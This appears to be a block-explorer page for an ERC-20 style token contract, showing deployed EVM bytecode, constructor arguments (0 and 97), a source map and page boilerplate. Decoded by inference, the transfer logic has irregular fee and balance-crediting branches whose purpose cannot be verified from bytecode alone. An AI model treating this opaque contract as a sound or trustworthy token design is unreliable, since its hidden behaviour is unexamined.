571610ce956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220de56417f12183a4f7f30edadba15decd0052beb3bf004ab401948991c814f07464736f6c6343000814003300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000061

Deployed Bytecode

0x608060405260043610610164575f3560e01c80637141e6a0116100cd578063b09f126611610087578063dd62ed3e11610062578063dd62ed3e1461041b578063e3a382861461045f578063f1d6512e1461048d578063fa2f7a8f146104bb575f80fd5b8063b09f1266146103d5578063c5b37c22146103e9578063d28d885214610407575f80fd5b80637141e6a0146103325780638da5cb5b1461035257806395d89b411461036e578063a457c2d714610382578063a9059cbb146103a1578063af465a27146103c0575f80fd5b806323b872dd1161011e57806323b872dd1461025c578063313ce5671461027b57806339509351146102a057806349bd5a5e146102bf5780634a74bb02146102de57806370a08231146102fe575f80fd5b806306fdde031461016f578063095ea7b31461019957806315120e5b146101c85780631694505e146101ff57806318160ddd1461021e578063220f66961461023c575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b506101836104d1565b6040516101909190610b81565b60405180910390f35b3480156101a4575f80fd5b506101b86101b3366004610be7565b610561565b6040519015158152602001610190565b3480156101d3575f80fd5b506006546101e7906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561020a575f80fd5b50600d546101e7906001600160a01b031681565b348015610229575f80fd5b50600a545b604051908152602001610190565b348015610247575f80fd5b50600e546101b890600160a01b900460ff1681565b348015610267575f80fd5b506101b8610276366004610c0f565b610577565b348015610286575f80fd5b5060095460ff165b60405160ff9091168152602001610190565b3480156102ab575f80fd5b506101b86102ba366004610be7565b6105de565b3480156102ca575f80fd5b50600e546101e7906001600160a01b031681565b3480156102e9575f80fd5b50600e546101b890600160a81b900460ff1681565b348015610309575f80fd5b5061022e610318366004610c48565b6001600160a01b03165f9081526001602052604090205490565b34801561033d575f80fd5b50600e546101b890600160b01b900460ff1681565b34801561035d575f80fd5b505f546001600160a01b03166101e7565b348015610379575f80fd5b50610183610613565b34801561038d575f80fd5b506101b861039c366004610be7565b610622565b3480156103ac575f80fd5b506101b86103bb366004610be7565b61066f565b3480156103cb575f80fd5b5061022e600a5481565b3480156103e0575f80fd5b5061018361067b565b3480156103f4575f80fd5b5060095461028e90610100900460ff1681565b348015610412575f80fd5b50610183610707565b348015610426575f80fd5b5061022e610435366004610c61565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561046a575f80fd5b5061028e610479366004610c92565b60036020525f908152604090205460ff1681565b348015610498575f80fd5b506101b86104a7366004610c48565b60026020525f908152604090205460ff1681565b3480156104c6575f80fd5b506104cf610714565b005b6060600780546104e090610cb1565b80601f016020809104026020016040519081016040528092919081815260200182805461050c90610cb1565b80156105575780601f1061052e57610100808354040283529160200191610557565b820191905f5260205f20905b81548152906001019060200180831161053a57829003601f168201915b5050505050905090565b5f61056d3384846107ba565b5060015b92915050565b5f610583848484610872565b6105d484336105cf85604051806060016040528060288152602001610d91602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190610b39565b6107ba565b5060019392505050565b335f8181526005602090815260408083206001600160a01b0387168452909152812054909161056d9185906105cf9086610b64565b6060600880546104e090610cb1565b5f61056d33846105cf85604051806060016040528060258152602001610db960259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190610b39565b5f61056d338484610872565b6008805461068890610cb1565b80601f01602080910402602001604051908101604052809291908181526020018280546106b490610cb1565b80156106ff5780601f106106d6576101008083540402835291602001916106ff565b820191905f5260205f20905b8154815290600101906020018083116106e257829003601f168201915b505050505081565b6007805461068890610cb1565b5f546001600160a01b031633146107725760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6001600160a01b038316158015906107da57506001600160a01b03821615155b6108125760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b6044820152606401610769565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f9081526004602052604090205460ff1680156108ea576001600160a01b0383165f908152600460205260408120805460ff16916108b983610cfd565b825460ff9182166101009390930a928302919092021990911617905550600e805460ff60b01b1916600160b01b1790555b6001600160a01b0383165f9081526002602052604081205460ff168061092757506001600160a01b0385165f9081526002602052604090205460ff165b1561093357505f610954565b600e546001600160a01b039081169086160361095057505f610954565b5060015b6001600160a01b0385165f908152600160205260409020546109769084610b76565b6001600160a01b0386165f908152600160205260409020558015610a6357600e5460ff600160b01b909104811615155f9081526003602052604081205460095491926109cb9291811691610100900416610d1b565b90505f60646109dd60ff841687610d34565b6109e79190610d4b565b90508015610a1857305f90815260016020526040902054610a089082610b64565b305f908152600160205260409020555b610a43610a258683610b76565b6001600160a01b0388165f9081526001602052604090205490610b64565b6001600160a01b0387165f9081526001602052604090205550610ae59050565b8115610aaa57600c546001600160a01b0385165f90815260016020526040902054610a8d91610b64565b6001600160a01b0385165f90815260016020526040902055610ae5565b6001600160a01b0384165f90815260016020526040902054610acc9084610b64565b6001600160a01b0385165f908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b2a91815260200190565b60405180910390a35050505050565b5f8184841115610b5c5760405162461bcd60e51b81526004016107699190610b81565b505050900390565b5f610b6f8284610d6a565b9392505050565b5f610b6f8284610d7d565b5f6020808352835180828501525f5b81811015610bac57858101830151858201604001528201610b90565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610be2575f80fd5b919050565b5f8060408385031215610bf8575f80fd5b610c0183610bcc565b946020939093013593505050565b5f805f60608486031215610c21575f80fd5b610c2a84610bcc565b9250610c3860208501610bcc565b9150604084013590509250925092565b5f60208284031215610c58575f80fd5b610b6f82610bcc565b5f8060408385031215610c72575f80fd5b610c7b83610bcc565b9150610c8960208401610bcc565b90509250929050565b5f60208284031215610ca2575f80fd5b81358015158114610b6f575f80fd5b600181811c90821680610cc557607f821691505b602082108103610ce357634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b5f60ff821660ff8103610d1257610d12610ce9565b60010192915050565b60ff818116838216019081111561057157610571610ce9565b808202811582820484141761057157610571610ce9565b5f82610d6557634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561057157610571610ce9565b8181038181111561057157610571610ce956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220de56417f12183a4f7f30edadba15decd0052beb3bf004ab401948991c814f07464736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000061

-----Decoded View---------------
Arg [0] : setting1 (uint8): 0
Arg [1] : setting2 (uint8): 97

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000061


Deployed Bytecode Sourcemap

13795:6067:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15901:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16733:161;;;;;;;;;;-1:-1:-1;16733:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;16733:161:0;1004:187:1;14213:93:0;;;;;;;;;;-1:-1:-1;14213:93:0;;;;-1:-1:-1;;;;;14213:93:0;;;;;;-1:-1:-1;;;;;1376:32:1;;;1358:51;;1346:2;1331:18;14213:93:0;1196:219:1;14656:41:0;;;;;;;;;;-1:-1:-1;14656:41:0;;;;-1:-1:-1;;;;;14656:41:0;;;16083:95;;;;;;;;;;-1:-1:-1;16163:7:0;;16083:95;;;1801:25:1;;;1789:2;1774:18;16083:95:0;1655:177:1;14739:28:0;;;;;;;;;;-1:-1:-1;14739:28:0;;;;-1:-1:-1;;;14739:28:0;;;;;;16902:313;;;;;;;;;;-1:-1:-1;16902:313:0;;;;;:::i;:::-;;:::i;15992:83::-;;;;;;;;;;-1:-1:-1;16058:9:0;;;;15992:83;;;2342:4:1;2330:17;;;2312:36;;2300:2;2285:18;15992:83:0;2170:184:1;17223:218:0;;;;;;;;;;-1:-1:-1;17223:218:0;;;;;:::i;:::-;;:::i;14704:28::-;;;;;;;;;;-1:-1:-1;14704:28:0;;;;-1:-1:-1;;;;;14704:28:0;;;14774:40;;;;;;;;;;-1:-1:-1;14774:40:0;;;;-1:-1:-1;;;14774:40:0;;;;;;16281:118;;;;;;;;;;-1:-1:-1;16281:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;16374:17:0;16347:7;16374:17;;;:8;:17;;;;;;;16281:118;14821:37;;;;;;;;;;-1:-1:-1;14821:37:0;;;;-1:-1:-1;;;14821:37:0;;;;;;13412:87;;;;;;;;;;-1:-1:-1;13458:7:0;13485:6;-1:-1:-1;;;;;13485:6:0;13412:87;;16186;;;;;;;;;;;;;:::i;17449:269::-;;;;;;;;;;-1:-1:-1;17449:269:0;;;;;:::i;:::-;;:::i;16407:167::-;;;;;;;;;;-1:-1:-1;16407:167:0;;;;;:::i;:::-;;:::i;14463:53::-;;;;;;;;;;;;;;;;14357:37;;;;;;;;;;;;;:::i;14435:21::-;;;;;;;;;;-1:-1:-1;14435:21:0;;;;;;;;;;;14315:35;;;;;;;;;;;;;:::i;16582:143::-;;;;;;;;;;-1:-1:-1;16582:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16690:18:0;;;16663:7;16690:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16582:143;14029:42;;;;;;;;;;-1:-1:-1;14029:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13974:48;;;;;;;;;;-1:-1:-1;13974:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13635:147;;;;;;;;;;;;;:::i;:::-;;15901:83;15938:13;15971:5;15964:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15901:83;:::o;16733:161::-;16808:4;16825:39;1835:10;16848:7;16857:6;16825:8;:39::i;:::-;-1:-1:-1;16882:4:0;16733:161;;;;;:::o;16902:313::-;17000:4;17017:36;17027:6;17035:9;17046:6;17017:9;:36::i;:::-;17064:121;17073:6;1835:10;17095:89;17133:6;17095:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17095:19:0;;;;;;:11;:19;;;;;;;;1835:10;17095:33;;;;;;;;;;:37;:89::i;:::-;17064:8;:121::i;:::-;-1:-1:-1;17203:4:0;16902:313;;;;;:::o;17223:218::-;1835:10;17311:4;17360:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17360:34:0;;;;;;;;;;17311:4;;17328:83;;17351:7;;17360:50;;17399:10;17360:38;:50::i;16186:87::-;16225:13;16258:7;16251:14;;;;;:::i;17449:269::-;17542:4;17559:129;1835:10;17582:7;17591:96;17630:15;17591:96;;;;;;;;;;;;;;;;;1835:10;17591:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17591:34:0;;;;;;;;;;;;:38;:96::i;16407:167::-;16485:4;16502:42;1835:10;16526:9;16537:6;16502:9;:42::i;14357:37::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14315:35::-;;;;;;;:::i;13635:147::-;13458:7;13485:6;-1:-1:-1;;;;;13485:6:0;1835:10;13547:23;13539:68;;;;-1:-1:-1;;;13539:68:0;;3888:2:1;13539:68:0;;;3870:21:1;;;3907:18;;;3900:30;3966:34;3946:18;;;3939:62;4018:18;;13539:68:0;;;;;;;;;13741:1:::1;13725:6:::0;;13704:40:::1;::::0;-1:-1:-1;;;;;13725:6:0;;::::1;::::0;13704:40:::1;::::0;13741:1;;13704:40:::1;13772:1;13755:19:::0;;-1:-1:-1;;;;;;13755:19:0::1;::::0;;13635:147::o;17886:254::-;-1:-1:-1;;;;;17979:19:0;;;;;;:44;;-1:-1:-1;;;;;;18002:21:0;;;;17979:44;17971:66;;;;-1:-1:-1;;;17971:66:0;;4249:2:1;17971:66:0;;;4231:21:1;4288:1;4268:18;;;4261:29;-1:-1:-1;;;4306:18:1;;;4299:39;4355:18;;17971:66:0;4047:332:1;17971:66:0;-1:-1:-1;;;;;18048:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18100:32;;1801:25:1;;;18100:32:0;;1774:18:1;18100:32:0;;;;;;;17886:254;;;:::o;18148:1108::-;-1:-1:-1;;;;;18247:15:0;;18228:16;18247:15;;;:11;:15;;;;;;;;18276:17;;18273:65;;-1:-1:-1;;;;;18295:15:0;;;;;;:11;:15;;;;;:17;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;18314:17:0;:22;;-1:-1:-1;;;;18314:22:0;-1:-1:-1;;;18314:22:0;;;18273:65;-1:-1:-1;;;;;18374:19:0;;18348:12;18374:19;;;:15;:19;;;;;;;;;:44;;-1:-1:-1;;;;;;18397:21:0;;;;;;:15;:21;;;;;;;;18374:44;18371:217;;;-1:-1:-1;18444:5:0;18371:217;;;18487:13;;-1:-1:-1;;;;;18487:13:0;;;18479:21;;;;18476:112;;-1:-1:-1;18526:5:0;18476:112;;;-1:-1:-1;18572:4:0;18476:112;-1:-1:-1;;;;;18617:14:0;;;;;;:8;:14;;;;;;:26;;18636:6;18617:18;:26::i;:::-;-1:-1:-1;;;;;18600:14:0;;;;;;:8;:14;;;;;:43;18654:543;;;;18718:17;;;-1:-1:-1;;;18718:17:0;;;;;18706:30;;18680:16;18706:30;;;:11;:30;;;;;;18699:4;;18680:16;;18699:37;;18706:30;;;;18718:17;18699:4;;;:37;:::i;:::-;18680:56;-1:-1:-1;18751:18:0;18795:3;18773:19;;;;:6;:19;:::i;:::-;:25;;;;:::i;:::-;18751:47;-1:-1:-1;18816:14:0;;18813:118;;18893:4;18876:23;;;;:8;:23;;;;;;:39;;18904:10;18876:27;:39::i;:::-;18867:4;18850:23;;;;:8;:23;;;;;:65;18813:118;18960:40;18977:22;:6;18988:10;18977;:22::i;:::-;-1:-1:-1;;;;;18960:12:0;;;;;;:8;:12;;;;;;;:16;:40::i;:::-;-1:-1:-1;;;;;18945:12:0;;;;;;:8;:12;;;;;:55;-1:-1:-1;18654:543:0;;-1:-1:-1;18654:543:0;;19030:12;;19027:170;;19090:14;;-1:-1:-1;;;;;19073:12:0;;;;;;:8;:12;;;;;;:32;;:16;:32::i;:::-;-1:-1:-1;;;;;19058:12:0;;;;;;:8;:12;;;;;:47;19027:170;;;-1:-1:-1;;;;;19161:12:0;;;;;;:8;:12;;;;;;:24;;19178:6;19161:16;:24::i;:::-;-1:-1:-1;;;;;19146:12:0;;;;;;:8;:12;;;;;:39;19027:170;19237:2;-1:-1:-1;;;;;19222:26:0;19231:4;-1:-1:-1;;;;;19222:26:0;;19241:6;19222:26;;;;1801:25:1;;1789:2;1774:18;;1655:177;19222:26:0;;;;;;;;18217:1039;;18148:1108;;;:::o;1286:206::-;1372:7;1433:12;1425:6;;;;1417:29;;;;-1:-1:-1;;;1417:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1468:5:0;;;1286:206::o;858:98::-;916:7;943:5;947:1;943;:5;:::i;:::-;936:12;858:98;-1:-1:-1;;;858:98:0:o;964:::-;1022:7;1049:5;1053:1;1049;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1837:328::-;1914:6;1922;1930;1983:2;1971:9;1962:7;1958:23;1954:32;1951:52;;;1999:1;1996;1989:12;1951:52;2022:29;2041:9;2022:29;:::i;:::-;2012:39;;2070:38;2104:2;2093:9;2089:18;2070:38;:::i;:::-;2060:48;;2155:2;2144:9;2140:18;2127:32;2117:42;;1837:328;;;;;:::o;2567:186::-;2626:6;2679:2;2667:9;2658:7;2654:23;2650:32;2647:52;;;2695:1;2692;2685:12;2647:52;2718:29;2737:9;2718:29;:::i;2758:260::-;2826:6;2834;2887:2;2875:9;2866:7;2862:23;2858:32;2855:52;;;2903:1;2900;2893:12;2855:52;2926:29;2945:9;2926:29;:::i;:::-;2916:39;;2974:38;3008:2;2997:9;2993:18;2974:38;:::i;:::-;2964:48;;2758:260;;;;;:::o;3023:273::-;3079:6;3132:2;3120:9;3111:7;3107:23;3103:32;3100:52;;;3148:1;3145;3138:12;3100:52;3187:9;3174:23;3240:5;3233:13;3226:21;3219:5;3216:32;3206:60;;3262:1;3259;3252:12;3301:380;3380:1;3376:12;;;;3423;;;3444:61;;3498:4;3490:6;3486:17;3476:27;;3444:61;3551:2;3543:6;3540:14;3520:18;3517:38;3514:161;;3597:10;3592:3;3588:20;3585:1;3578:31;3632:4;3629:1;3622:15;3660:4;3657:1;3650:15;3514:161;;3301:380;;;:::o;4384:127::-;4445:10;4440:3;4436:20;4433:1;4426:31;4476:4;4473:1;4466:15;4500:4;4497:1;4490:15;4516:175;4553:3;4597:4;4590:5;4586:16;4626:4;4617:7;4614:17;4611:43;;4634:18;;:::i;:::-;4683:1;4670:15;;4516:175;-1:-1:-1;;4516:175:1:o;4696:148::-;4784:4;4763:12;;;4777;;;4759:31;;4802:13;;4799:39;;;4818:18;;:::i;4849:168::-;4922:9;;;4953;;4970:15;;;4964:22;;4950:37;4940:71;;4991:18;;:::i;5022:217::-;5062:1;5088;5078:132;;5132:10;5127:3;5123:20;5120:1;5113:31;5167:4;5164:1;5157:15;5195:4;5192:1;5185:15;5078:132;-1:-1:-1;5224:9:1;;5022:217::o;5244:125::-;5309:9;;;5330:10;;;5327:36;;;5343:18;;:::i;5374:128::-;5441:9;;;5462:11;;;5459:37;;;5476:18;;:::i

Swarm Source

ipfs://de56417f12183a4f7f30edadba15decd0052beb3bf004ab401948991c814f074
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.